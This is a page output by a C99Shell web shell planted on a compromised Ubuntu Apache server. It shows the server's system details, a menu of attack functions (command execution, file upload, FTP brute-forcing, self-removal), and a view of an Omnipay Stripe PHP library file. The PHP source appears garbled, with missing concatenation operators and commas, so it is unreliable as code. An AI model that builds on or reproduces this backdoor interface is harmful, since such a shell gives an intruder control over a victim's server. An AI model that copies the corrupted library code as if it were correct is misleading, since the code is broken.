!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/dokan/script/vendor/omnipay/stripe/src/Message/PaymentIntents/   drwxrwxrwx
Free 13.14 GB of 57.97 GB (22.66%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DetachPaymentMethodRequest.php (1.61 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Stripe Attach Payment Method Request.
 */
namespace Omnipay\Stripe\Message\PaymentIntents;

/**
 * Stripe Attach Payment Method Request.
 *
 * This request is used to detach an existing payment method from a customer.
 *
 * ### Example
 *
 * This example assumes that you have already created both a customer and a
 * payment method and that the data is stored in $customerId and $paymentMethodId, respectively.
 *
 * <code>
 *   // Do an attach card transaction on the gateway
 *   $response = $gateway->deleteCard(array(
 *       'paymentMethod'     => $paymentMethodId,
 *   ))->send();
 *   if ($response->isSuccessful()) {
 *       echo "Gateway detachCard was successful.\n";
 *       // Find the card ID
 *       $methodId = $response->getCardReference();
 *       echo "Method ID = " . $methodId . "\n";
 *   }
 * </code>
 *
 * @see \Omnipay\Stripe\Message\PaymentIntents\CreatePaymentMethodRequest
 * @see \Omnipay\Stripe\Message\PaymentIntents\AttachPaymentMethodRequest
 * @see \Omnipay\Stripe\Message\PaymentIntents\UpdatePaymentMethodRequest
 * @link https://stripe.com/docs/api/payment_methods/detach
 */
class DetachPaymentMethodRequest extends AbstractRequest
{
    public function 
getData()
    {
        
$this->validate('paymentMethod');

        return [];
    }

    
/**
     * @inheritdoc
     */
    
public function getEndpoint()
    {
        return 
$this->endpoint.'/payment_methods/' $this->getPaymentMethod() . '/detach';
    }

    
/**
     * @inheritdoc
     */
    
protected function createResponse($data$headers = [])
    {
        return 
$this->response = new Response($this$data$headers);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--